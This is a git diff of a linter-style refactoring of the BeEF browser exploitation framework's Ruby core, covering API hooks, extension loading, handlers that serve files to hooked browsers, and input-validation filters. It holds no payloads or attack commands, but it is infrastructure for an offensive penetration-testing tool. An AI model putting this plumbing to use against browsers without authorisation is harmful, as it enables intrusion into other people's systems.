diff --git a/core/api.rb b/core/api.rb index ffa68adb9b..431e5be79c 100644 --- a/core/api.rb +++ b/core/api.rb @@ -117,7 +117,7 @@ def get_owners(clss, method, params = []) next unless r['method'] == method next unless is_matched_params? r, params - owners << { :owner => r['owner'], :id => r['id'] } + owners << { owner: r['owner'], id: r['id'] } end owners end @@ -192,17 +192,13 @@ def fire(clss, mthd, *args) data = [] method = get_api_path(clss, mthd) mods.each do |mod| - begin - # Only used for API Development (very verbose) - # print_info "API: #{mod} fired #{method}" - - result = mod[:owner].method(method).call(*args) - unless result.nil? - data << { :api_id => mod[:id], :data => result } - end - rescue => e - print_error "API Fire Error: #{e.message} in #{mod}.#{method}()" - end + # Only used for API Development (very verbose) + # print_info "API: #{mod} fired #{method}" + + result = mod[:owner].method(method).call(*args) + data << { api_id: mod[:id], data: result } unless result.nil? + rescue StandardError => e + print_error "API Fire Error: #{e.message} in #{mod}.#{method}()" end data diff --git a/core/api/extension.rb b/core/api/extension.rb index 4d99f4b0b4..b8b38b0f68 100644 --- a/core/api/extension.rb +++ b/core/api/extension.rb @@ -7,14 +7,11 @@ module BeEF module API module Extension - attr_reader :full_name, :short_name, :description @full_name = '' @short_name = '' @description = '' - end - end end diff --git a/core/api/extensions.rb b/core/api/extensions.rb index b2a7157c82..aa43d02f3c 100644 --- a/core/api/extensions.rb +++ b/core/api/extensions.rb @@ -6,16 +6,13 @@ module BeEF module API module Extensions - # @note Defined API Paths API_PATHS = { - 'post_load' => :post_load - } + 'post_load' => :post_load + }.freeze # API hook fired after all extensions have been loaded - def post_load; - end - + def post_load; end end end end diff --git a/core/api/main/configuration.rb b/core/api/main/configuration.rb index d392c71bf6..8b4f7b4b73 100644 --- a/core/api/main/configuration.rb +++ b/core/api/main/configuration.rb @@ -4,19 +4,16 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API - module Configuration - - # @note Defined API Paths - API_PATHS = { + module API + module Configuration + # @note Defined API Paths + API_PATHS = { 'module_configuration_load' => :module_configuration_load - } - - # Fires just after module configuration is loaded and merged - # @param [String] mod module key - def module_configuration_load(mod); end + }.freeze + # Fires just after module configuration is loaded and merged + # @param [String] mod module key + def module_configuration_load(mod); end + end end - -end end diff --git a/core/api/main/migration.rb b/core/api/main/migration.rb index 4820cbfb9b..bd7a1418b7 100644 --- a/core/api/main/migration.rb +++ b/core/api/main/migration.rb @@ -4,18 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API - module Migration - - # @note Defined API Paths - API_PATHS = { + module API + module Migration + # @note Defined API Paths + API_PATHS = { 'migrate_commands' => :migrate_commands - } + }.freeze - # Fired just after the migration process - def migrate_commands; end - + # Fired just after the migration process + def migrate_commands; end + end end - -end end diff --git a/core/api/main/network_stack/assethandler.rb b/core/api/main/network_stack/assethandler.rb index 783786c454..c04f840eea 100644 --- a/core/api/main/network_stack/assethandler.rb +++ b/core/api/main/network_stack/assethandler.rb @@ -4,33 +4,31 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module NetworkStack -module Handlers -module AssetHandler + module API + module NetworkStack + module Handlers + module AssetHandler + # Binds a file to be accessible by the hooked browser + # @param [String] file file to be served + # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used + # @param [String] extension to be used in the URL + # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) + # @return [String] URL bound to the specified file + # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 + # @note This is a direct API call and does not have to be registered to be used + def self.bind(file, path = nil, extension = nil, count = -1) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count) + end - # Binds a file to be accessible by the hooked browser - # @param [String] file file to be served - # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used - # @param [String] extension to be used in the URL - # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) - # @return [String] URL bound to the specified file - # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 - # @note This is a direct API call and does not have to be registered to be used - def self.bind(file, path=nil, extension=nil, count=-1) - return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count) + # Unbinds a file made accessible to hooked browsers + # @param [String] url the bound URL + # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336 + # @note This is a direct API call and does not have to be registered to be used + def self.unbind(url) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url) + end + end + end end - - # Unbinds a file made accessible to hooked browsers - # @param [String] url the bound URL - # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336 - # @note This is a direct API call and does not have to be registered to be used - def self.unbind(url) - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url) - end - -end -end -end -end + end end diff --git a/core/api/main/server.rb b/core/api/main/server.rb index 78d92bff6a..2289634d65 100644 --- a/core/api/main/server.rb +++ b/core/api/main/server.rb @@ -4,40 +4,37 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module Server - - # @note Defined API Paths - API_PATHS = { + module API + module Server + # @note Defined API Paths + API_PATHS = { 'mount_handler' => :mount_handler, 'pre_http_start' => :pre_http_start - } - - # Fires just before the HTTP Server is started - # @param [Object] http_hook_server HTTP Server object - def pre_http_start(http_hook_server); end - - # Fires just after handlers have been mounted - # @param [Object] server HTTP Server object - def mount_handler(server); end - - # Mounts a handler - # @param [String] url URL to be mounted - # @param [Class] http_handler_class the handler Class - # @param [Array] args an array of arguments - # @note This is a direct API call and does not have to be registered to be used - def self.mount(url, http_handler_class, args = nil) - BeEF::Core::Server.instance.mount(url, http_handler_class, *args) - end + }.freeze + + # Fires just before the HTTP Server is started + # @param [Object] http_hook_server HTTP Server object + def pre_http_start(http_hook_server); end + + # Fires just after handlers have been mounted + # @param [Object] server HTTP Server object + def mount_handler(server); end - # Unmounts a handler - # @param [String] url URL to be unmounted - # @note This is a direct API call and does not have to be registered to be used - def self.unmount(url) + # Mounts a handler + # @param [String] url URL to be mounted + # @param [Class] http_handler_class the handler Class + # @param [Array] args an array of arguments + # @note This is a direct API call and does not have to be registered to be used + def self.mount(url, http_handler_class, args = nil) + BeEF::Core::Server.instance.mount(url, http_handler_class, *args) + end + + # Unmounts a handler + # @param [String] url URL to be unmounted + # @note This is a direct API call and does not have to be registered to be used + def self.unmount(url) BeEF::Core::Server.instance.unmount(url) + end end - - -end -end + end end diff --git a/core/api/main/server/hook.rb b/core/api/main/server/hook.rb index df183654c7..b5a2d440f0 100644 --- a/core/api/main/server/hook.rb +++ b/core/api/main/server/hook.rb @@ -4,21 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module Server - module Hook + module API + module Server + module Hook + # @note Defined API Paths + API_PATHS = { + 'pre_hook_send' => :pre_hook_send + }.freeze - # @note Defined API Paths - API_PATHS = { - 'pre_hook_send' => :pre_hook_send - } - - # Fires just before the hook is sent to the hooked browser - # @param [Class] handler the associated handler Class - def pre_hook_send(handler); end - + # Fires just before the hook is sent to the hooked browser + # @param [Class] handler the associated handler Class + def pre_hook_send(handler); end + end + end end - -end -end end diff --git a/core/api/module.rb b/core/api/module.rb index 3ee5e5f407..071f431137 100644 --- a/core/api/module.rb +++ b/core/api/module.rb @@ -5,22 +5,20 @@ # module BeEF module API - module Command end module Module - # @note Defined API Paths API_PATHS = { - 'pre_soft_load' => :pre_soft_load, - 'post_soft_load' => :post_soft_load, - 'pre_hard_load' => :pre_hard_load, - 'post_hard_load' => :post_hard_load, - 'get_options' => :get_options, - 'get_payload_options' => :get_payload_options, - 'override_execute' => :override_execute - } + 'pre_soft_load' => :pre_soft_load, + 'post_soft_load' => :post_soft_load, + 'pre_hard_load' => :pre_hard_load, + 'post_hard_load' => :post_hard_load, + 'get_options' => :get_options, + 'get_payload_options' => :get_payload_options, + 'override_execute' => :override_execute + }.freeze # Fired before a module soft load # @param [String] mod module key of module about to be soft loaded @@ -54,8 +52,6 @@ def override_execute(mod, hbsession, opts); end # @return [Hash] a hash of options # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned. def get_payload_options; end - end - end end diff --git a/core/api/modules.rb b/core/api/modules.rb index cb7e091637..48d8acd78d 100644 --- a/core/api/modules.rb +++ b/core/api/modules.rb @@ -5,18 +5,14 @@ # module BeEF module API - module Modules - # @note Defined API Paths API_PATHS = { - 'post_soft_load' => :post_soft_load - } + 'post_soft_load' => :post_soft_load + }.freeze # Fires just after all modules are soft loaded def post_soft_load; end - end - end end diff --git a/core/bootstrap.rb b/core/bootstrap.rb index ce3a372ea6..7c1202f733 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -5,7 +5,6 @@ # module BeEF module Core - end end @@ -14,7 +13,6 @@ module Core require 'core/main/router/api' require 'core/main/router/error_responses' - ## @note Include http server functions for beef require 'core/main/server' require 'core/main/handlers/modules/beefjs' diff --git a/core/core.rb b/core/core.rb index 43cb55f382..afe225c39e 100644 --- a/core/core.rb +++ b/core/core.rb @@ -4,9 +4,8 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core - -end + module Core + end end # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy @@ -38,4 +37,3 @@ module Core # @note Include the command line parser and the banner printer require 'core/main/console/commandline' require 'core/main/console/banners' - diff --git a/core/extension.rb b/core/extension.rb index d8bed9d8f4..fc18b7af99 100644 --- a/core/extension.rb +++ b/core/extension.rb @@ -5,7 +5,6 @@ # module BeEF module Extension - # Checks to see if extension is set inside the configuration # @param [String] ext the extension key # @return [Boolean] whether or not the extension exists in BeEF's configuration @@ -15,9 +14,10 @@ def self.is_present(ext) # Checks to see if extension is enabled in configuration # @param [String] ext the extension key - # @return [Boolean] whether or not the extension is enabled + # @return [Boolean] whether or not the extension is enabled def self.is_enabled(ext) return false unless is_present(ext) + BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true end @@ -26,10 +26,11 @@ def self.is_enabled(ext) # @return [Boolean] whether or not the extension is loaded def self.is_loaded(ext) return false unless is_enabled(ext) + BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true end - # Loads an extension + # Loads an extension # @param [String] ext the extension key # @return [Boolean] whether or not the extension loaded successfully def self.load(ext) @@ -41,7 +42,7 @@ def self.load(ext) end print_error "Unable to load extension '#{ext}'" false - rescue => e + rescue StandardError => e print_error "Unable to load extension '#{ext}':" print_more e.message end diff --git a/core/extensions.rb b/core/extensions.rb index 62960897f5..8b22ecbb68 100644 --- a/core/extensions.rb +++ b/core/extensions.rb @@ -5,12 +5,11 @@ # module BeEF module Extensions - # Returns configuration of all enabled extensions # @return [Array] an array of extension configuration hashes that are enabled def self.get_enabled - BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true } - rescue => e + BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true } + rescue StandardError => e print_error "Failed to get enabled extensions: #{e.message}" print_error e.backtrace end @@ -18,8 +17,8 @@ def self.get_enabled # Returns configuration of all loaded extensions # @return [Array] an array of extension configuration hashes that are loaded def self.get_loaded - BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true } - rescue => e + BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true } + rescue StandardError => e print_error "Failed to get loaded extensions: #{e.message}" print_error e.backtrace end @@ -28,12 +27,12 @@ def self.get_loaded # @note API fire for post_load def self.load BeEF::Core::Configuration.instance.load_extensions_config - self.get_enabled.each { |k,v| + get_enabled.each do |k, _v| BeEF::Extension.load k - } + end # API post extension load BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load' - rescue => e + rescue StandardError => e print_error "Failed to load extensions: #{e.message}" print_error e.backtrace end diff --git a/core/filters.rb b/core/filters.rb index 5e654e6b91..fd699b740b 100644 --- a/core/filters.rb +++ b/core/filters.rb @@ -5,7 +5,6 @@ # module BeEF module Filters - end end diff --git a/core/filters/base.rb b/core/filters/base.rb index 408d2f556e..64aeea0781 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -4,196 +4,211 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Check if the string is not empty and not nil - # @param [String] str String for testing - # @return [Boolean] Whether the string is not empty - def self.is_non_empty_string?(str) - return false if str.nil? - return false unless str.is_a? String - return false if str.empty? - true + module Filters + # Check if the string is not empty and not nil + # @param [String] str String for testing + # @return [Boolean] Whether the string is not empty + def self.is_non_empty_string?(str) + return false if str.nil? + return false unless str.is_a? String + return false if str.empty? + + true + end + + # Check if only the characters in 'chars' are in 'str' + # @param [String] chars List of characters to match + # @param [String] str String for testing + # @return [Boolean] Whether or not the only characters in str are specified in chars + def self.only?(chars, str) + regex = Regexp.new('[^' + chars + ']') + regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? + end + + # Check if one or more characters in 'chars' are in 'str' + # @param [String] chars List of characters to match + # @param [String] str String for testing + # @return [Boolean] Whether one of the characters exists in the string + def self.exists?(chars, str) + regex = Regexp.new(chars) + !regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? + end + + # Check for null char + # @param [String] str String for testing + # @return [Boolean] If the string has a null character + def self.has_null?(str) + return false unless is_non_empty_string?(str) + + exists?('\x00', str) + end + + # Check for non-printable char + # @param [String] str String for testing + # @return [Boolean] Whether or not the string has non-printable characters + def self.has_non_printable_char?(str) + return false unless is_non_empty_string?(str) + + !only?('[:print:]', str) + end + + # Check if num characters only + # @param [String] str String for testing + # @return [Boolean] If the string only contains numbers + def self.nums_only?(str) + return false unless is_non_empty_string?(str) + + only?('0-9', str) + end + + # Check if valid float + # @param [String] str String for float testing + # @return [Boolean] If the string is a valid float + def self.is_valid_float?(str) + return false unless is_non_empty_string?(str) + return false unless only?('0-9\.', str) + + !(str =~ /^\d+\.\d+$/).nil? + end + + # Check if hex characters only + # @param [String] str String for testing + # @return [Boolean] If the string only contains hex characters + def self.hexs_only?(str) + return false unless is_non_empty_string?(str) + + only?('0123456789ABCDEFabcdef', str) + end + + # Check if first character is a number + # @param [String] String for testing + # @return [Boolean] If the first character of the string is a number + def self.first_char_is_num?(str) + return false unless is_non_empty_string?(str) + + !(str =~ /^\d.*/).nil? + end + + # Check for space characters: \t\n\r\f + # @param [String] str String for testing + # @return [Boolean] If the string has a whitespace character + def self.has_whitespace_char?(str) + return false unless is_non_empty_string?(str) + + exists?('\s', str) + end + + # Check for non word characters: a-zA-Z0-9 + # @param [String] str String for testing + # @return [Boolean] If the string only has alphanums + def self.alphanums_only?(str) + return false unless is_non_empty_string?(str) + + only?('a-zA-Z0-9', str) + end + + # @overload self.is_valid_ip?(ip, version) + # Checks if the given string is a valid IP address + # @param [String] ip string to be tested + # @param [Symbol] version IP version (either :ipv4 or :ipv6) + # @return [Boolean] true if the string is a valid IP address, otherwise false + # + # @overload self.is_valid_ip?(ip) + # Checks if the given string is either a valid IPv4 or IPv6 address + # @param [String] ip string to be tested + # @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false + def self.is_valid_ip?(ip, version = :both) + return false unless is_non_empty_string?(ip) + + if case version.inspect.downcase + when /^:ipv4$/ + ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x + when /^:ipv6$/ + ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}| + ([0-9a-f]{1,4}:){1,7}:| + ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}| + ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}| + ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}| + ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}| + ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}| + [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})| + :((:[0-9a-f]{1,4}){1,7}|:)| + fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}| + ::(ffff(:0{1,4}){0,1}:){0,1} + ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])| + ([0-9a-f]{1,4}:){1,4}: + ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix + when /^:both$/ + is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6) + end + true + else + false + end + end + + # Checks if the given string is a valid private IP address + # @param [String] ip string for testing + # @return [Boolean] true if the string is a valid private IP address, otherwise false + # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses. + def self.is_valid_private_ip?(ip) + return false unless is_valid_ip?(ip) + + ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false + end + + # Checks if the given string is a valid TCP port + # @param [String] port string for testing + # @return [Boolean] true if the string is a valid TCP port, otherwise false + def self.is_valid_port?(port) + valid = false + valid = true if port.to_i > 0 && port.to_i < 2**16 + valid + end + + # Checks if string is a valid domain name + # @param [String] domain string for testing + # @return [Boolean] If the string is a valid domain name + # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static. + def self.is_valid_domain?(domain) + return false unless is_non_empty_string?(domain) + return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i + + false + end + + # Check for valid browser details characters + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser details characters + # @note This function passes the \302\256 character which translates to the registered symbol (r) + def self.has_valid_browser_details_chars?(str) + return false unless is_non_empty_string?(str) + + !(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? + end + + # Check for valid base details characters + # @param [String] str String for testing + # @return [Boolean] If the string has only valid base characters + # @note This is for basic filtering where possible all specific filters must be implemented + # @note This function passes the \302\256 character which translates to the registered symbol (r) + def self.has_valid_base_chars?(str) + return false unless is_non_empty_string?(str) + + (str =~ /[^\302\256[:print:]]/).nil? + end + + # Verify the yes and no is valid + # @param [String] str String for testing + # @return [Boolean] If the string is either 'yes' or 'no' + def self.is_valid_yes_no?(str) + return false if has_non_printable_char?(str) + return false if str !~ /\A(Yes|No)\z/i + + true + end end - - # Check if only the characters in 'chars' are in 'str' - # @param [String] chars List of characters to match - # @param [String] str String for testing - # @return [Boolean] Whether or not the only characters in str are specified in chars - def self.only?(chars, str) - regex = Regexp.new('[^' + chars + ']') - regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? - end - - # Check if one or more characters in 'chars' are in 'str' - # @param [String] chars List of characters to match - # @param [String] str String for testing - # @return [Boolean] Whether one of the characters exists in the string - def self.exists?(chars, str) - regex = Regexp.new(chars) - not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? - end - - # Check for null char - # @param [String] str String for testing - # @return [Boolean] If the string has a null character - def self.has_null? (str) - return false unless is_non_empty_string?(str) - exists?('\x00', str) - end - - # Check for non-printable char - # @param [String] str String for testing - # @return [Boolean] Whether or not the string has non-printable characters - def self.has_non_printable_char?(str) - return false unless is_non_empty_string?(str) - not only?('[:print:]', str) - end - - # Check if num characters only - # @param [String] str String for testing - # @return [Boolean] If the string only contains numbers - def self.nums_only?(str) - return false unless is_non_empty_string?(str) - only?('0-9', str) - end - - # Check if valid float - # @param [String] str String for float testing - # @return [Boolean] If the string is a valid float - def self.is_valid_float?(str) - return false unless is_non_empty_string?(str) - return false unless only?('0-9\.', str) - not (str =~ /^[\d]+\.[\d]+$/).nil? - end - - # Check if hex characters only - # @param [String] str String for testing - # @return [Boolean] If the string only contains hex characters - def self.hexs_only?(str) - return false unless is_non_empty_string?(str) - only?('0123456789ABCDEFabcdef', str) - end - - # Check if first character is a number - # @param [String] String for testing - # @return [Boolean] If the first character of the string is a number - def self.first_char_is_num?(str) - return false unless is_non_empty_string?(str) - not (str =~ /^\d.*/).nil? - end - - # Check for space characters: \t\n\r\f - # @param [String] str String for testing - # @return [Boolean] If the string has a whitespace character - def self.has_whitespace_char?(str) - return false unless is_non_empty_string?(str) - exists?('\s', str) - end - - # Check for non word characters: a-zA-Z0-9 - # @param [String] str String for testing - # @return [Boolean] If the string only has alphanums - def self.alphanums_only?(str) - return false unless is_non_empty_string?(str) - only?("a-zA-Z0-9", str) - end - - # @overload self.is_valid_ip?(ip, version) - # Checks if the given string is a valid IP address - # @param [String] ip string to be tested - # @param [Symbol] version IP version (either :ipv4 or :ipv6) - # @return [Boolean] true if the string is a valid IP address, otherwise false - # - # @overload self.is_valid_ip?(ip) - # Checks if the given string is either a valid IPv4 or IPv6 address - # @param [String] ip string to be tested - # @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false - def self.is_valid_ip?(ip, version = :both) - return false unless is_non_empty_string?(ip) - valid = case version.inspect.downcase - when /^:ipv4$/ - ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x - when /^:ipv6$/ - ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}| - ([0-9a-f]{1,4}:){1,7}:| - ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}| - ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}| - ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}| - ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}| - ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}| - [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})| - :((:[0-9a-f]{1,4}){1,7}|:)| - fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}| - ::(ffff(:0{1,4}){0,1}:){0,1} - ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])| - ([0-9a-f]{1,4}:){1,4}: - ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix - when /^:both$/ - is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6) - end ? true : false - - valid - end - - # Checks if the given string is a valid private IP address - # @param [String] ip string for testing - # @return [Boolean] true if the string is a valid private IP address, otherwise false - # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses. - def self.is_valid_private_ip?(ip) - return false unless is_valid_ip?(ip) - return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false - end - - # Checks if the given string is a valid TCP port - # @param [String] port string for testing - # @return [Boolean] true if the string is a valid TCP port, otherwise false - def self.is_valid_port?(port) - valid = false - valid = true if port.to_i > 0 && port.to_i < 2**16 - valid - end - - # Checks if string is a valid domain name - # @param [String] domain string for testing - # @return [Boolean] If the string is a valid domain name - # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static. - def self.is_valid_domain?(domain) - return false unless is_non_empty_string?(domain) - return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i - false - end - - # Check for valid browser details characters - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser details characters - # @note This function passes the \302\256 character which translates to the registered symbol (r) - def self.has_valid_browser_details_chars?(str) - return false unless is_non_empty_string?(str) - not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? - end - - # Check for valid base details characters - # @param [String] str String for testing - # @return [Boolean] If the string has only valid base characters - # @note This is for basic filtering where possible all specific filters must be implemented - # @note This function passes the \302\256 character which translates to the registered symbol (r) - def self.has_valid_base_chars?(str) - return false unless is_non_empty_string?(str) - (str =~ /[^\302\256[:print:]]/).nil? - end - - # Verify the yes and no is valid - # @param [String] str String for testing - # @return [Boolean] If the string is either 'yes' or 'no' - def self.is_valid_yes_no?(str) - return false if has_non_printable_char?(str) - return false if str !~ /\A(Yes|No)\z/i - true - end - -end end diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 2ecc37f2b2..5b019af40a 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -4,148 +4,159 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Check the browser type value - for example, 'FF' - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser name characters - def self.is_valid_browsername?(str) - return false unless is_non_empty_string?(str) - return false if str.length > 2 - return false if has_non_printable_char?(str) - true - end + module Filters + # Check the browser type value - for example, 'FF' + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser name characters + def self.is_valid_browsername?(str) + return false unless is_non_empty_string?(str) + return false if str.length > 2 + return false if has_non_printable_char?(str) - # Check the Operating System name value - for example, 'Windows XP' - # @param [String] str String for testing - # @return [Boolean] If the string has valid Operating System name characters - def self.is_valid_osname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end + true + end - # Check the Hardware name value - for example, 'iPhone' - # @param [String] str String for testing - # @return [Boolean] If the string has valid Hardware name characters - def self.is_valid_hwname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end + # Check the Operating System name value - for example, 'Windows XP' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Operating System name characters + def self.is_valid_osname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 - # Verify the browser version string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser version characters - def self.is_valid_browserversion?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return true if str.eql? "ALL" - return false if not nums_only?(str) and not is_valid_float?(str) - return false if str.length > 20 - true - end + true + end - # Verify the os version string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid os version characters - def self.is_valid_osversion?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return true if str.eql? "ALL" - return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str) - return false if str.length > 20 - true - end + # Check the Hardware name value - for example, 'iPhone' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Hardware name characters + def self.is_valid_hwname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 - # Verify the browser/UA string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser / ua string characters - def self.is_valid_browserstring?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 300 - true - end - - # Verify the cookies are valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid cookie characters - def self.is_valid_cookies?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 2000 - true - end + true + end - # Verify the system platform is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid system platform characters - def self.is_valid_system_platform?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + # Verify the browser version string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser version characters + def self.is_valid_browserversion?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return true if str.eql? 'UNKNOWN' + return true if str.eql? 'ALL' + return false if !nums_only?(str) and !is_valid_float?(str) + return false if str.length > 20 - # Verify the date stamp is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid date stamp characters - def self.is_valid_date_stamp?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + true + end - # Verify the CPU type string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid CPU type characters - def self.is_valid_cpu?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + # Verify the os version string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid os version characters + def self.is_valid_osversion?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return true if str.eql? 'UNKNOWN' + return true if str.eql? 'ALL' + return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str) + return false if str.length > 20 - # Verify the memory string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid memory type characters - def self.is_valid_memory?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + true + end - # Verify the GPU type string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid GPU type characters - def self.is_valid_gpu?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + # Verify the browser/UA string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser / ua string characters + def self.is_valid_browserstring?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 300 - # Verify the browser_plugins string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser plugin characters - # @note This string can be empty if there are no browser plugins - # @todo Verify if the ruby version statement is still necessary - def self.is_valid_browser_plugins?(str) - return false unless is_non_empty_string?(str) - return false if 